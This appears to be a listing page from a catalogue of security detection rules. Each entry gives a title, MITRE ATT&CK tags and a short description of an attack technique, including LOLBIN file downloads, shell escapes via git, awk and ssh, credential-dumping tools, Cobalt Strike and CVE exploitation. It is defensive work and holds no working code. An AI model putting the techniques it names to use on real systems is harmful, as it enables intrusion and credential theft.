Detects potentially suspicious file downloads from file sharing domains using wget.exe

Read More
Alternate PowerShell Hosts Pipe

Oct 8, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Read More
Add Potential Suspicious New Download Source To Winget

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add new potentially suspicious download sources

Read More
Arbitrary File Download Via IMEWDBLD.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "IMEWDBLD.exe" to download arbitrary files

Read More
Arbitrary File Download Via MSEDGE_PROXY.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "msedge_proxy.exe" to download arbitrary files

Read More
Arbitrary File Download Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Read More
F5 BIG-IP iControl Rest API Command Execution - Webserver

Oct 1, 2024 · attack.execution attack.t1190 ·
Share on:

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

Read More
HackTool - WinPwn Execution

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·
Share on:

Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

Read More
HackTool - WinPwn Execution - ScriptBlock

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·
Share on:

Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

Read More
Lace Tempest Cobalt Strike Download

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team

Read More
Lace Tempest File Indicators

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7

Read More
Lace Tempest Malware Loader Execution

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team

Read More
Lace Tempest PowerShell Evidence Eraser

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team

Read More
Lace Tempest PowerShell Launcher

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team

Read More
Potential File Download Via MS-AppInstaller Protocol Handler

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache<RANDOM-8-CHAR-DIRECTORY>"

Read More
Potentially Suspicious Electron Application CommandLine

Oct 1, 2024 · attack.execution ·
Share on:

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

Read More
PowerShell Execution With Potential Decryption Capabilities

Oct 1, 2024 · attack.execution ·
Share on:

Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.

Read More
Process Proxy Execution Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Read More
Remote Thread Creation Via PowerShell In Uncommon Target

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218.011 attack.t1059.001 ·
Share on:

Detects the creation of a remote thread from a Powershell process in an uncommon target process

Read More
Unusual Parent Process For Cmd.EXE

Oct 1, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious parent process for cmd.exe

Read More
Linux HackTool Execution

Sep 22, 2024 · attack.execution attack.resource-development attack.t1587 ·
Share on:

Detects known hacktool execution based on image name.

Read More
UNC2452 Process Creation Patterns

Sep 13, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries

Read More
CVE-2021-1675 Print Spooler Exploitation Filename Pattern

Sep 13, 2024 · attack.execution attack.privilege-escalation attack.resource-development attack.t1587 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675

Read More
Possible CVE-2021-1675 Print Spooler Exploitation

Sep 13, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675

Read More
Cicada Ransomware PSExec File Creation

Sep 9, 2024 · attack.lateral-movement attack.execution attack.t1570 attack.t1569 attack.t1569.002 attack.s0029 ·
Share on:

Detects creation of a lightly-renamed PSExec file in C:\Users\Public, as observed in the Cicada3301 Ransomware report from MorphiSec.

Read More
Cicada3301 Ransomware Execution via PSExec

Sep 9, 2024 · attack.execution attack.t1569 attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of a potentially-renamed psexec to run the Cicada3301 ransomware tool.

Read More
Capsh Shell Invocation - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "capsh" utility to invoke a shell.

Read More
Inline Python Execution - Spawn Shell Via OS System Library

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

Read More
Shell Execution via Git - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Invocation via Env Command - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Read More
Shell Invocation Via Ssh - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Suspicious Invocation of Shell via AWK - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

Read More
ChromeLoader Malware Execution

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 attack.t1176 detection.emerging-threats ·
Share on:

Detects execution of ChromeLoader malware via a registered scheduled task

Read More
DarkGate - Autoit3.EXE Execution Parameters

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

Read More
DarkGate - Autoit3.EXE File Creation By Uncommon Process

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 attack.t1059 detection.emerging-threats ·
Share on:

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

Read More
Diamond Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects file creation activity that is related to Diamond Sleet APT activity

Read More
Diamond Sleet APT Process Activity Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process creation activity indicators related to Diamond Sleet APT

Read More
Diamond Sleet APT Scheduled Task Creation

Sep 2, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 detection.emerging-threats ·
Share on:

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Read More
File Download From IP Based URL Via CertOC.EXE

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 ·
Share on:

Detects when a user downloads a file from an IP based URL using CertOC.exe

Read More
File Download From IP URL Via Curl.EXE

Sep 2, 2024 · attack.execution ·
Share on:

Detects file downloads directly from IP address URL using curl.exe

Read More
Onyx Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects file creation activity that is related to Onyx Sleet APT activity

Read More
Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution

Sep 2, 2024 · attack.execution attack.initial-access attack.t1059.006 attack.t1190 cve.2022-22954 detection.emerging-threats ·
Share on:

Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.

Read More
Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE

Sep 2, 2024 · attack.execution attack.t1059 cve.2023-34362 detection.emerging-threats ·
Share on:

Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files.

MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\([a-z0-9]{5,12})\([a-z0-9]{5,12})\App_Web_[a-z0-9]{5,12}.dll.

Hunting Opportunity

Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

Read More
Potentially Suspicious Child Process Of VsCode

Sep 2, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.

Read More
PowerShell Script Execution Policy Enabled

Sep 2, 2024 · attack.execution ·
Share on:

Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.

Read More
Raspberry Robin Initial Execution From External Drive

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".

Read More
Raspberry Robin Subsequent Execution of Commands

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects raspberry robin subsequent execution of commands.

Read More
Remote Access Tool - ScreenConnect Command Execution

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects command execution via ScreenConnect RMM

Read More
Remote Access Tool - ScreenConnect File Transfer

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects file being transferred via ScreenConnect RMM

Read More
Remote Access Tool - ScreenConnect Temporary File

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users<username>\Documents\ConnectWiseControl\Temp" before execution.

Read More
Renamed CURL.EXE Execution

Sep 2, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

Read More
Serpent Backdoor Payload Execution Via Scheduled Task

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.006 detection.emerging-threats ·
Share on:

Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.

Read More
Ursnif Redirection Of Discovery Commands

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

Read More
Emotet Loader Execution Via .LNK File

Aug 29, 2024 · attack.execution attack.t1059.006 detection.emerging-threats ·
Share on:

Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.

Read More
FakeUpdates/SocGholish Activity

Aug 29, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

Read More
HackTool - SharpWSUS/WSUSpendu Execution

Aug 29, 2024 · attack.execution attack.lateral-movement attack.t1210 ·
Share on:

Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.

Read More
Potential CVE-2022-29072 Exploitation Attempt

Aug 29, 2024 · attack.execution cve.2022-29072 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.

Read More
Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths

Aug 29, 2024 · attack.execution ·
Share on:

Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.

Read More
Potential DLL Injection Via AccCheckConsole

Aug 29, 2024 · attack.execution detection.threat-hunting ·
Share on:

Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.

Read More
Windows Binary Executed From WSL

Aug 29, 2024 · attack.execution attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships

Read More
Wusa.EXE Executed By Parent Process Located In Suspicious Location

Aug 29, 2024 · attack.execution ·
Share on:

Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.

Read More
Data Export From MSSQL Table Via BCP.EXE

Aug 20, 2024 · attack.execution attack.t1048 ·
Share on:

Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.

Read More
Suspicious Rundll32 Execution of UDL File

Aug 16, 2024 · attack.execution attack.t1218.011 attack.t1071 ·
Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse the technique as a phishing vector to capture authentication credentials or other sensitive data.

Read More
Abusable DLL Potential Sideloading From Suspicious Location

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

Read More
Active Directory Kerberos DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects Kerberos DLL being loaded by an Office Product

Read More
Active Directory Parsing DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects DSParse DLL being loaded by an Office Product

Read More
Add Insecure Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

Read More
Add New Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add new additional download sources

Read More
Add Windows Capability Via PowerShell Cmdlet

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Read More
Add Windows Capability Via PowerShell Script

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Read More
Adwind RAT / JRAT

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 detection.emerging-threats ·
Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Read More
Adwind RAT / JRAT File Artifact

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Read More
Alternate PowerShell Hosts - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Read More
AMSI Bypass Pattern Assembly GetType

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.execution ·
Share on:

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

Read More
Application Removed Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the removal or uninstallation of an application via "Wmic.EXE".

Read More
Application Terminated Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects calls to the "terminate" function via wmic in order to kill an application

Read More
APT29 2018 Phishing Campaign CommandLine Indicators

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 detection.emerging-threats ·
Share on:

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

Read More
Arbitrary Binary Execution Using GUP Utility

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the Notepad++ updater (gup) to launch other commands or executables

Read More
Arbitrary File Download Via MSOHTMED.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "MSOHTMED" to download arbitrary files

Read More
Arbitrary File Download Via MSPUB.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

Read More
Arbitrary File Download Via PresentationHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files

Read More
Arbitrary MSI Download Via Devinit.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system

Read More
Arbitrary Shell Command Execution Via Settingcontent-Ms

Aug 12, 2024 · attack.t1204 attack.t1566.001 attack.execution attack.initial-access ·
Share on:

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

Read More
Assembly DLL Creation Via AspNetCompiler

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

Read More
Atlassian Confluence CVE-2022-26134

Aug 12, 2024 · attack.initial-access attack.execution attack.t1190 attack.t1059 cve.2022-26134 ·
Share on:

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

Read More
Audit CVE Event

Aug 12, 2024 · attack.execution attack.t1203 attack.privilege-escalation attack.t1068 attack.defense-evasion attack.t1211 attack.credential-access attack.t1212 attack.lateral-movement attack.t1210 attack.impact attack.t1499.004 ·
Share on:

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

Read More
AWS EC2 Startup Shell Script Change

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1059.003 attack.t1059.004 ·
Share on:

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

Read More
AWS IAM S3Browser LoginProfile Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·
Share on:

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

Read More
AWS IAM S3Browser Templated S3 Bucket Policy Creation

Aug 12, 2024 · attack.execution attack.t1059.009 attack.persistence attack.t1078.004 ·
Share on:

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".

Read More
AWS IAM S3Browser User or AccessKey Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·
Share on:

Detects S3 Browser utility creating IAM User or AccessKey.

Read More
Azure Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.t1053.003 attack.privilege-escalation attack.execution ·
Share on:

Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Read More
Azure New CloudShell Created

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Identifies when a new cloudshell is created inside of Azure portal.

Read More
Bad Opsec Powershell Code Artifacts

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

Read More
Base64 MZ Header In CommandLine

Aug 12, 2024 · attack.execution ·
Share on:

Detects encoded base64 MZ header in the commandline

Read More
Bash Interactive Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the bash shell with the interactive flag "-i".

Read More
BloodHound Collection Files

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·
Share on:

Detects default file names outputted by the BloodHound collection tool SharpHound

Read More
Blue Mockingbird

Aug 12, 2024 · attack.execution attack.t1112 attack.t1047 detection.emerging-threats ·
Share on:

Attempts to detect system changes made by Blue Mockingbird

Read More
BPFDoor Abnormal Process ID or Lock File Accessed

Aug 12, 2024 · attack.execution attack.t1106 attack.t1059 ·
Share on:

detects BPFDoor .lock and .pid files access in temporary file storage facility

Read More
BPFtrace Unsafe Option Usage

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects the usage of the unsafe bpftrace option

Read More
Certificate Exported Via PowerShell

Aug 12, 2024 · attack.credential-access attack.execution attack.t1552.004 attack.t1059.001 ·
Share on:

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Read More
Change PowerShell Policies to an Insecure Level

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.

Read More
Change PowerShell Policies to an Insecure Level - PowerShell

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.

Read More
Chromium Browser Headless Execution To Mockbin Like Site

Aug 12, 2024 · attack.execution ·
Share on:

Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).

Read More
Clipboard Data Collection Via OSAScript

Aug 12, 2024 · attack.collection attack.execution attack.t1115 attack.t1059.002 ·
Share on:

Detects possible collection of data from the clipboard via execution of the osascript binary

Read More
CLR DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects CLR DLL being loaded by an Office Product

Read More
Cmd.EXE Missing Space Characters Execution Anomaly

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).

Read More
CMSTP Execution Process Access

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 attack.execution attack.t1559.001 attack.g0069 attack.g0080 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
CMSTP Execution Process Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
CMSTP Execution Registry Event

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
CobaltStrike Service Installations - Security

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

Read More
CobaltStrike Service Installations - System

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

Read More
Command Line Execution with Suspicious URL and AppData Strings

Aug 12, 2024 · attack.execution attack.command-and-control attack.t1059.003 attack.t1059.001 attack.t1105 ·
Share on:

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

Read More
Computer Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects password change for the computer's domain account or host principal via "ksetup.exe"

Read More
Computer System Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.discovery attack.execution attack.t1047 ·
Share on:

Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.

Read More
Conhost.exe CommandLine Path Traversal

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

Read More
Control Panel Items

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.002 attack.persistence attack.t1546 ·
Share on:

Detects the malicious use of a control panel item

Read More
ConvertTo-SecureString Cmdlet Usage Via CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity

Read More
Created Files by Microsoft Sync Center

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·
Share on:

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

Read More
Credential Dumping Tools Service Execution - Security

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·
Share on:

Detects well-known credential dumping tools execution via service execution events

Read More
Credential Dumping Tools Service Execution - System

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·
Share on:

Detects well-known credential dumping tools execution via service execution events

Read More
Csc.EXE Execution Form Potentially Suspicious Parent

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 attack.defense-evasion attack.t1218.005 attack.t1027.004 ·
Share on:

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

Read More
Cscript/Wscript Uncommon Script Extension Execution

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

Read More
CSExec Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default CSExec service filename which indicates CSExec service installation and execution

Read More
CSExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects CSExec service installation and execution events

Read More
Curl Web Request With Potential Custom User-Agent

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings

Read More
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry

Aug 12, 2024 · attack.persistence attack.execution attack.defense-evasion attack.t1112 cve.2020-1048 ·
Share on:

Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.

Read More
CVE-2021-1675 Print Spooler Exploitation

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675

Read More
CVE-2021-1675 Print Spooler Exploitation IPC Access

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 cve.2021-34527 detection.emerging-threats ·
Share on:

Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527

Read More
CVE-2021-26858 Exchange Exploitation

Aug 12, 2024 · attack.t1203 attack.execution cve.2021-26858 detection.emerging-threats ·
Share on:

